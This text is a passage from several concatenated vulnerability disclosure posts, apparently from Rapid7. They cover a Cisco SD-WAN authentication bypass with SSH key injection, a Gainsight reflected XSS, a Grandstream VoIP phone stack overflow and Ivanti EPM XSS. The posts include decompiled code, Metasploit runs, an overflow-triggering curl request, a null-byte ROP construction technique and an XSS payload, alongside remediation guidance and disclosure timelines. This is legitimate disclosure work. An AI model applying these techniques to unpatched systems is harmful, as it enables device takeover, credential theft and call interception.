Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():

// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // <--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}

We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).

CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.

Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:

// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP

At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.

Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.

After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).

The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:

// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // <--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 > 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // <--- [2]
}
    fclose(stream);
  }

// ...snip...

At [1] above, the file is opened in append mode – the attacker’s key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.

The key injection message body is a fixed 769-byte structure:

Offset

Size

Field

0-767

768

Key buffer (“\n” + ssh_pubkey + “\n” + “\x00” + zero-padding)

768

1

TLV count = 0

⠀⠀

The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.

Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user’s authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.

Exploitation

In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.

To begin, the attacker loads the module in Metasploit and configures the required options.

metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png
Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass

The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.

The attacker then sets the target and runs the module.

msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run

vhub-authentication-bypass-ssh-key-injection.png
Figure 2: Module output showing the vHub authentication bypass and SSH key injection

The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).

ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem [email protected] -p 830

SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.

ssh-connection-to-NETCONF-service.png
Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin

At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.

<?xml version="1.0" encoding="UTF-8"?><hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]><rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><get-config><source><running/></source></get-config></rpc>]]>]]>

The output of the get-config command is shown below.

NETCONF-get-config-output.png
Figure 4: NETCONF get-config output from the compromised controller

The full Metasploit module will be made available on May 27, 2026.

Remediation

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.

Cisco Catalyst SD-WAN Release

First Fixed Release

Earlier than 20.9*

Migrate to a fixed release

20.9

20.9.9.1

20.10

20.12.7.1

20.11*

20.12.7.1

20.12

20.12.5.4, 20.12.6.2, 20.12.7.1

20.13*

20.15.5.2

20.14*

20.15.5.2

20.15

20.15.4.4, 20.15.5.2

20.16*

20.18.2.2

20.18

20.18.2.2

26.1.1

26.1.1.1

*These releases have reached the end of software maintenance. Cisco strongly encourages customers to upgrade to a supported release.

For additional details, please see the vendor advisory.

Vendor statement

“Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect.”

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

  • March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.

  • March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.

  • March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.

  • April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.

  • April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.

  • May 14, 2026: This disclosure.

CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)

Post Syndicated from Christopher O’Boyle original https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed

Overview

Rapid7 Labs recently identified a chain of security vulnerabilities in the Gainsight Assist plugin and its interactions with the associated domain app.gainsight.com. These vulnerabilities include an Information Disclosure flaw (CVE-2026-31381) and a Reflected Cross-Site Scripting (XSS) vulnerability (CVE-2026-31382). By chaining these vulnerabilities, an attacker can move from passive information gathering to active client-side exploitation.

The XSS vulnerability was remediated by Gainsight via a server side code-level fix on March 6, 2026. A patched update to the Chrome and Outlook plugins to remediate the Information Disclosure were released on March 9, 2026.

Product description

Gainsight Assist is a plugin that allows users to access Gainsight email templates and easily sync inbound and outbound emails to the Timeline within the Gainsight Customer Success (CS) product directly from their email platform.

Credit

These vulnerabilities were discovered and reported to the Gainsight team by Christopher O’Boyle, Cybersecurity Advisor at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Gainsight team for their assistance and collaboration.

Vulnerability details

CVE

Description

CVSS

CVE-2026-31381

Information Disclosure: An attacker can extract user email addresses (PII) exposed in base64 encoding via the state parameter in the OAuth callback URL.

5.3 (Medium)

CVE-2026-31382

Reflected XSS / HTML Injection: The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain’s WAF using a Safari-specific onpagereveal payload.

6.1 (Medium)

The testing target was the Gainsight Assist plugin and its interactions with the app.gainsight.com domain, used as a callback mechanism that processes authentication data and error descriptions following user login attempts.

CVE-2026-31381: Information disclosure

During testing involving Salesforce and Okta authentication channels, an OAuth callback flow failure was observed. The resulting error message exposed the user’s email address (PII) within a Base64 encoded state parameter in the URL. Because Base64 is merely obfuscation and not encryption, these email addresses can be easily harvested from server logs, proxies, or browser history by third parties.

CVE-2026-31382: Reflected XSS and HTML injection

The Gainsight callback URL contained an error_description parameter that was found to be vulnerable to content spoofing and HTML Injection. While Gainsight employs a Web Application Firewall (WAF) that successfully blocks most standard JavaScript execution, Rapid7 researchers bypassed this protection using a browser-specific payload targeting Safari’s onpagereveal event.

When the victim opens the malicious URL in Safari, the onpagereveal payload executes automatically without further user interaction. By injecting HTML content and spoofing the error page, an attacker can create a legitimate-looking prompt instructing the user to switch to a Safari browser to ensure the payload fires.

<body onpagereveal=open("https://www.rapid7.com")>
We have detected a browser compatibility issue for 
this step, this can only be completed on Safari <br><br>
Please copy the URL from the address bar above and 
paste it in a Safari browser...

Figure 1: Example of the injected HTML payload instructing the user to utilize Safari.

Chaining for Impact

When combined, these vulnerabilities create a high-impact attack path:

  1. Target identification: The login error page includes the user’s attempted login email address in a Base64-encoded state parameter in the URL. Anyone with visibility into that URL (e.g., via the browser address bar, existing access to internal logs, or XSS on that page) can decode the state value to recover the email address. The vulnerability pertains to the data included in the URL rather than granting access to logs or history.

  2. Luring the victim: Using HTML injection on the trusted app.gainsight.com domain, the attacker crafts a highly convincing phishing link to send to the targeted user.

  3. XSS execution: Once the victim opens the link in Safari, the onpagereveal payload executes. Because the payload can recursively call the exact same URL, it can cause an infinite loop leading to client-side resource exhaustion, log flooding, or the delivery of malware.

Vendor statement

“Gainsight values the work of the security research community and appreciates Rapid7’s collaboration. We have fully remediated the identified vulnerabilities through a platform-wide update that strengthens our input validation and WAF configurations. Our forensic investigation found no evidence of exploitation or impact to customer data. We continue to prioritize transparency and supporting our customers to build a more resilient and secure community together. “

Mitigation guidance

As of March 6, 2026, Gainsight has implemented a code-level fix to remediate these findings. Customers should ensure they are utilizing the latest version of the Gainsight Assist plugin.

Disclosure timeline

  • January 30, 2026: Rapid7 makes initial outreach to Gainsight.

  • February 1, 2026: Gainsight confirms outreach and requests details. Rapid7 provides vulnerability details.

  • February 11, 2026: Gainsight confirms receipt, states that the vulnerability has been reproduced, and acknowledges that triage has begun.

  • March 5, 2026: Gainsight and Rapid7 meet to discuss agreed impact, remediation, and next steps.

  • March 6, 2026: Gainsight implements a server-side, code-level fix to remediate the XSS issue.

  • March 9, 2026: Gainsight implements an update to the Chrome and Outlook plugins for the information disclosure vulnerability.

  • March 12, 2026: Gainsight requests disclosure date of March 20, 2026.

  • March 13, 2026: Rapid7 accepts the disclosure date of March 20, 2026.

  • March 20, 2026: This disclosure.

The Phone is Listening: A Cold War–Style Vulnerability in Modern VoIP

Post Syndicated from Douglas McKee original https://www.rapid7.com/blog/post/ve-phone-listening-cold-war-vulnerability-modern-voip

I don’t know about you, but when I think about “critical vulnerabilities,” I usually picture ransomware, data theft, or maybe a server falling over at 2 a.m. while someone frantically searches Slack for the last good backup.

What I don’t picture is a scene straight out of a Cold War spy film.

CVE-2026-2329: Setting the scene

Dimly lit office. After hours. The city skyline glowing through the glass. Two executives leaning over a polished conference table, whispering about an acquisition. A red light blinking softly on the desk phone. Everything feels normal… Except it isn’t. Researchers at Rapid7 have disclosed CVE-2026-2329, a critical unauthenticated stack-based buffer overflow in the Grandstream GXP1600 series of VoIP phones. Let me take a moment to explain why that sentence, while technical and slightly dry on the surface, should make you sit up a little straighter.

At its core, this is a classic memory corruption issue. The kind many of us learned from in our early exploitation days. And if you’ve spent time in cybersecurity long enough, you’ve seen this movie before. But here’s where it gets interesting: an attacker finds an exposed VoIP phone – maybe it’s directly reachable, or maybe it’s pivoted to from somewhere else inside the network. They trigger the overflow, gain root, and at this point, nothing explodes. No alarms go off, and the phone doesn’t brick itself in protest. It just quietly accepts new instructions.

With root access, the attacker can reconfigure the device’s SIP settings to point to infrastructure they control. A malicious SIP proxy. Calls still dial. The display still lights up. The user still hears a dial tone. But now, every call flows through someone else’s hands first. There’s no dramatic “wiretap installed” moment. No van parked outside with antennas on the roof. Just silent, transparent interception. Conversations about contracts, negotiations, legal strategy, maybe even sensitive personal matters — all are relayed in real time.

This isn’t about crashing a device for fun, it’s about persistence and invisibility. VoIP phones are trusted implicitly. They sit on desks for years, deployed once and forgotten thereafter. Rarely monitored like servers or endpoints, and almost never treated as high-value assets. But voice carries nuance. Tone, intent, and strategy. Things you don’t always see in email or chat logs. The reality of it is that once you move from “denial of service” to “silent interception,” the impact shifts dramatically. This stops being a theoretical CVE in a spreadsheet and starts becoming a confidentiality issue at the human level.

Now, to be fair, exploitation requires knowledge and skill. This isn’t a one-click exploit with fireworks and a victory banner. But the underlying vulnerability lowers the barrier in a way that should concern anyone operating these devices in exposed or lightly-segmented environments. And that’s why this one caught my attention. Not because it’s the first buffer overflow we’ve ever seen, and not because it’s technically flashy, but because it works quietly. Perfectly.

Like a phone that never misses a call, but while someone else is listening.

The technical details on CVE-2026-2329

If you’re a researcher, engineer, or just someone who enjoys digging into stack layouts and exploit chains, we’ve put together a full technical deep dive on the Rapid7 blog. That includes:

  • Root cause analysis
  • Stack memory breakdown
  • Exploit development methodology
  • Post-exploitation impact
  • Metasploit module details

You can read the full technical analysis here.

CVE-2026-2329: Critical Unauthenticated Stack Buffer Overflow in Grandstream GXP1600 VoIP Phones (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed

Overview

Rapid7 Labs conducted a zero-day research project against the Grandstream GXP1600 series of Voice over Internet Protocol (VoIP) phones. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-2329. A remote attacker can leverage CVE-2026-2329 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. A vendor supplied firmware update, version 1.0.7.81, is available to fully remediate CVE-2026-2329.

The vulnerability is present in the device’s web-based API service, and is accessible in a default configuration. As all models in the GXP1600 series share a common firmware image, the vulnerability affects all six models in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630.

CVE-2026-2329 has a CVSSv4 score of 9.3 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.

Impact

To demonstrate the impact of this vulnerability, a Metasploit exploit module has been developed. This demonstrates how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device. A complimentary post-exploitation module has also been developed. This allows an attacker to gather credentials, such as local user and SIP accounts, stored on a compromised GXP1600 device. Both Metasploit modules are available here.

Shown below is the exploit module being run against a target Grandstream GXP1630 device running a vulnerable firmware version 1.0.7.79.

figure1_grandstream_gxp1600_rce1.png
Figure 1: Metasploit exploit module targeting a GXP1630 device.

As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by executing a Meterpreter payload and running several arbitrary OS shell commands.

In addition to achieving RCE with root privileges, we can also demonstrate using this capability to extract secrets from the target device, such as local and SIP account credentials. Shown below is a Metasploit post-exploitation module that leverages an existing session on the target (established via the exploit module) to extract secrets from the device.

figure2_grandstream_gxp1600_rce2.png
Figure 2: Metasploit post module gathering credentials from a GXP1630 device.

Finally, we can leverage our RCE capabilities to reconfigure the target device to use a malicious SIP proxy, allowing an attacker to transparently intercept phone calls to and from the device, and eavesdrop on the audio. While the ability to leverage a malicious SIP proxy to intercept phone calls is not specific to these Grandstream devices, and is dependent on the SIP infrastructures configuration, it highlights the serious impact an unauthenticated RCE vulnerability has against VoIP phones. Rapid7 Labs has developed a SIP proxy for testing and auditing SIP infrastructure, which is available here.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Technical analysis

Our analysis is based upon a GXP1630 device running firmware version 1.0.7.79. During testing, the test device had an IPv4 address of 192.168.86.77.

A HTTP service is listening by default on TCP port 80. This service provides both a web administration interface and an API. The API endpoint /cgi-bin/api.values.get is accessible to a remote attacker with no authentication. This endpoint is designed to request one or more configuration values from the phone. For example, you can request the phone’s firmware version and model number via the following HTTP POST request using curl.

C:\>curl -ik http://192.168.86.77/cgi-bin/api.values.get --data "request=68:phone_model"
HTTP/1.0 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-cache, must-revalidate
Status: 200 OK
Set-Cookie: HttpOnly

{ "response": "success", "body": { "68": "1.0.7.79", "phone_model": "GXP1630" } }

The api.values.get API accepts an HTTP parameter named request. This parameter contains a colon-delimited list of identifiers to retrieve a corresponding value for (highlighted in yellow above). In the example above, identifier 68 corresponds to the phone’s firmware version number, and identifier phone_model corresponds to the phone’s model. We can see in the response, these values are returned.

Both the HTTP service and the API are implemented in the native code binary /app/bin/gs_web (32-bit ARM, Little Endian). Decompiling the function that handles a request to the api.values.get endpoint, we can see how the request parameter is split into colon-delimited parts for processing.

void __fastcall sub_144B4(int a1, char *a2, int a3)
{
	int v5; // r6
	const char *v6; // r5
	int v7; // r3
	int v8; // r6
	char *cookie; // r7
	char *remote_addr; // r0
	int v11; // r10
	char *request_buffer; // r11
	int request_length; // r9
	int request_offset; // r4
	int part_length; // r3
	int next_char; // r1
	char *v17; // r2
	char small_buffer[64]; // [sp+0h] [bp-68h] BYREF
	char v19[40]; // [sp+40h] [bp-28h] BYREF

	v5 = (*(int (__fastcall **)(int))(*(_DWORD *)a3 + 16))(a3);
	v6 = (const char *)json_object_new_object();
	sub_CC60(v5, (int)"response", (int)"success", v7);
	sub_CAA4(v5, "body", v6);
	v8 = sub_DE50();
	cookie = get_cookie(a2, (Grandstream::CommonUtils *)"session-identity");
	remote_addr = get_remote_addr();
	v11 = sub_DEC4(v8, (Grandstream::CommonUtils *)cookie, (Grandstream::CommonUtils *)remote_addr);
	request_buffer = sub_C19C(a2, (Grandstream::CommonUtils *)"request");
	request_length = Grandstream::CommonUtils::strlen(request_buffer);
	if ( request_length > 0 )
	{
		request_offset = 0;
		part_length = 0;
		small_buffer[0] = 0;
		do
		{
			next_char = (unsigned __int8)request_buffer[request_offset];
			v17 = &v19[part_length];
			if ( next_char == ':' )
			{
				*(v17 - 64) = 0;
				sub_14354(a1, v6, small_buffer, v11);
				part_length = 0;
				small_buffer[0] = 0;
			}
			else
			{
				*(v17 - 64) = next_char;
				++part_length;
			}
			++request_offset;
		}
		while ( request_offset != request_length );
		if ( part_length )
		{
			small_buffer[part_length] = 0;
			sub_14354(a1, v6, small_buffer, v11);
		}
	}
}

The request parameter (referenced via the variable request_buffer above) is iterated over character by character. If the next character is not a colon character, this next character is appended to a small 64 byte buffer on the stack (the variable small_buffer above). If the next character is a colon, or the end of the request parameter is reached, the current identifier held in the small buffer is null terminated and then processed to retrieve that identifier’s value.

When appending another character to the small 64 byte buffer, no length check is performed to ensure that no more than 63 characters (plus the appended null terminator) are ever written to this buffer.

Therefore, an attacker-controlled request parameter can write past the bounds of the small 64 byte buffer on the stack, overflowing into adjacent stack memory. This can be demonstrated with the following curl command, which supplies a 256 byte request parameter:

curl -ik http://192.168.86.77/cgi-bin/api.values.get --data 
"request=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

By either attaching a debugger to the gs_web process or inspecting a core dump, we can observe the overflow and how the attacker-controlled data corrupts the stack contents to give the attacker control over multiple CPU registers, including the Program Counter (PC), as shown below.

figure3_gdb_crash1.png
Figure 3: GDB session showing the process registers after the stack-based overflow.

Exploitation

To leverage this stack-based buffer overflow for remote code execution, we examine the gs_web binary using the checksec tool, to see what mitigations are present. 

$ /usr/bin/checksec --file=./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web --format=json | jq
{
  "./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web": {
    "relro": "no",
	"canary": "no",
	"nx": "yes",
	"pie": "no",
    "rpath": "no",
    "runpath": "no",
    "symbols": "no",
    "fortify_source": "no",
    "fortified": "0",
    "fortify-able": "5"
  }
}

We can see that No Execute (NX) is enabled. This means the stack segment will not be executable. Therefore, to execute arbitrary code we will need to leverage a Return Oriented Programming (ROP) chain.

We can see via checksec that stack canaries are not present (we also knew this from the above core dump, showing PC control after the vulnerable function returns). This means the stack-based buffer overflow will not be detected at run time, and a corrupted return address stored on the stack can be used to control the Program Counter (PC) register, when the vulnerable function returns from the corrupted stack frame.

We can also see that the binary has not been linked as a Position Independent Executable (PIE). This prevents Address Space Layout Randomization (ASLR) from randomizing the main binaries code segment. We can therefore know in advance virtual addresses (VA) within the code segment for use during construction of a ROP chain.

We are left with a problem that the non-PIE binary gs_web has its code segment loaded at a VA of 0x00008000, as shown below via the readelf tool.

$ readelf -l ./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web

Elf file type is EXEC (Executable file)
Entry point 0xbffc

There are 7 program headers, starting at offset 52

Program Headers:
	Type	Offset		VirtAddr	PhysAddr	FileSiz		MemSiz		Flg		Align
	EXIDX	0x0115d8	0x000195d8 	0x000195d8 	0x00810 	0x00810 	R		0x4
	PHDR	0x000034 	0x00008034 	0x00008034 	0x000e0 	0x000e0 	R E 	0x4
	INTERP	0x000114 	0x00008114 	0x00008114 	0x00014 	0x00014 	R		0x1
		[Requesting program interpreter: /lib/ld-uClibc.so.0]
	LOAD	0x000000 	0x00008000 	0x00008000 0x11dec 		0x11dec 	R E 	0x8000
	LOAD	0x012000 	0x00022000 	0x00022000 0x00498 		0x0055c 	RW		0x8000
	DYNAMIC	0x01202c 	0x0002202c 	0x0002202c 0x00168 		0x00168 	RW		0x4

With PIE not enabled, and no suitable info leak to leak a VA from another Shared Object (SO) located higher in the address space, a load address of 0x00008000 will require us to write multiple null bytes during exploitation in order to construct a ROP chain, as every VA used within the ROP chain will have at least one null byte. However, the vulnerability only allows for a single null terminator byte to be written during the overflow.

To overcome this limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.

For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g., “EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0” (where 0 is a null byte), we can trigger the overflow 5 times. By adjusting the identifier value used to trigger each instance of the overflow, we can precisely place a null character at the desired locations. The table below shows how, in this contrived example, we can construct each separate identifier string in order to place a trailing null terminator character at the desired location. Upon triggering the overflow 5 times in succession, the final memory layout will be as we expect.

Overflow 1 (33 bytes + null terminator)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

Overflow 2 (21 bytes + null terminator)

BBBBBBBBBBBBBBBBBBBBB0

Overflow 3 (20 bytes + null terminator)

CCCCCCCCCCCCCCCCCCCC0

Overflow 4 (11 bytes + null terminator)

DDDDDDDDDDD0

Overflow 5 (3 bytes + null terminator)

EEE0

Final Memory Layout(34 bytes)

EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0

We can therefore construct a malicious colon-delimited request parameter to achieve the above (note that, for brevity in this example, the length values here don’t assume the required 64 bytes of padding to overflow the initial small buffer):

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE

With the ability to write multiple null bytes, we can proceed to gather the ROP gadgets needed to build out a ROP chain. We choose to create a ROP chain that will execute an arbitrary OS command via the system standard C library function, before terminating the process gracefully via the exit standard C library function to avoid crashing the process. The accompanying Metasploit exploit module’s source code details the entire ROP chain.

Remediation

To remediate CVE-2026-2329, Grandstream users running either GXP1610, GXP1615, GXP1620, GXP1625, GXP1628 or GXP1630 devices should upgrade their firmware to version 1.0.7.81 or above. The latest Grandstream firmware can be found here.

For additional details from the vendor, please see the Grandstream PSIRT page.

Disclosure timeline

  • January 6, 2026: Rapid7 makes initial outreach to Grandstream.

  • January 20, 2026: Rapid7 makes another outreach to Grandstream.

  • January 20, 2026: Grandstream responds to the initial outreach.

  • January 21, 2026: Rapid7 and Grandstream establish a secure communication mechanism.

  • January 22, 2026: Rapid7 discloses the technical writeup and exploit code to Grandstream, who confirms receipt the same day.

  • February 2, 2026: Grandstream indicates a patch has been made available in the GXP1600 firmware version 1.0.7.81.

  • February 3, 2026: Grandstream reaffirms the issue has been resolved in the latest GXP1600 firmware version 1.0.7.81.

  • February 6, 2026: Rapid7 indicates to Grandstream that a CVE has not been assigned and offers to be the CNA for this disclosure. Rapid7 highlights to Grandstream that no public disclosure has occurred, and that it is Rapid7’s intention to disclose publicly in the coming days.

  • February 7, 2026: Grandstream agrees that Rapid7 can be the CNA in this disclosure and requests additional CVE record information. 

  • February 11, 2026: Rapid7 provides the requested CVE record information to Grandstream. Rapid7 highlights to Grandstream that firmware version 1.0.7.81 does remediate the vulnerability, as shown by Rapid7 Labs reverse engineering the publicly available firmware. Rapid7 states that a public disclosure will occur on February 18, 2026.

  • February 18, 2026: This disclosure.

Vulnerability Found in InsightVM & Nexpose: CVE-2026-1814 (FIXED)

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/ve-insightvm-nexpose-vulnerability-cve-2026-1814-fixed

We are grateful to the research team at Atredis for sharing their findings around a vulnerability (CVE-2026-1814) impacting our vulnerability management offerings (InsightVM and Nexpose). We have identified a fix that addresses this vulnerability and will be delivered via a Security Console product update with no customer action required. The update is currently being released through our normal gradual release cycle and will be rolled out to all customers by end of day Thursday, February 12.

InsightVM or Nexpose customers with automatic product updates enabled will receive and process this update when it is released. Customers who manually control their own update version can utilize the manual update process within the security console to update to version 8.36.0 when it is made available. We recommend those customers schedule this update as soon as reasonably possible.

As outlined in our policies around vulnerabilities and disclosures, Rapid7 practices and advocates for timely public disclosure of vulnerabilities across both third-party products and our own systems and solutions. This thoughtful collaboration between researchers and vendors is a critical component of a healthy cybersecurity ecosystem. Atredis exemplified how the process should work.

CVE-2025-10573: Ivanti EPM Unauthenticated Stored Cross-Site Scripting (Fixed)

Post Syndicated from Ryan Emmons original https://www.rapid7.com/blog/post/cve-2025-10573-ivanti-epm-unauthenticated-stored-cross-site-scripting-fixed

Ivanti Endpoint Manager (“EPM”) versions 2024 SU4 and below are vulnerable to stored cross-site scripting (“XSS”). The vulnerability, tracked as CVE-2025-10573 and assigned a CVSS score of 9.6, was patched on December 9, 2025 with the release of Ivanti EPM version EPM 2024 SU4 SR1. An attacker with unauthenticated access to the primary EPM web service can join fake managed endpoints to the EPM server in order to poison the administrator web dashboard with malicious JavaScript. When an Ivanti EPM administrator views one of the poisoned dashboard interfaces during normal usage, that passive user interaction will trigger client-side JavaScript execution, resulting in the attacker gaining control of the administrator’s session.

An authenticated check for CVE-2025-10573 will be made available to Exposure Command, InsightVM and Nexpose customers in the December 9, 2025 content release. Due to the unauthenticated nature of this vulnerability, customers are recommended to patch affected instances as soon as possible.

Product description

Ivanti EPM is endpoint management software used by many organizations for remote administration, vulnerability scanning, and compliance management of user endpoints, among other use cases. An authenticated EPM administrator can remotely control endpoints and install software on systems managed by the EPM server, making it a desirable target for attackers.

Credit

This vulnerability was discovered and reported to the Ivanti team by Ryan Emmons, Staff Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Ivanti team for their assistance and collaboration.

Vulnerability details

The testing target was an Ivanti EPM 11.0.6 Core installation on Windows Server 2022. Rapid7 identified one high severity vulnerability, stored cross-site scripting, while researching Ivanti EPM. Based on information provided by the vendor, it affects versions below EPM 2024 SU4 SR1.

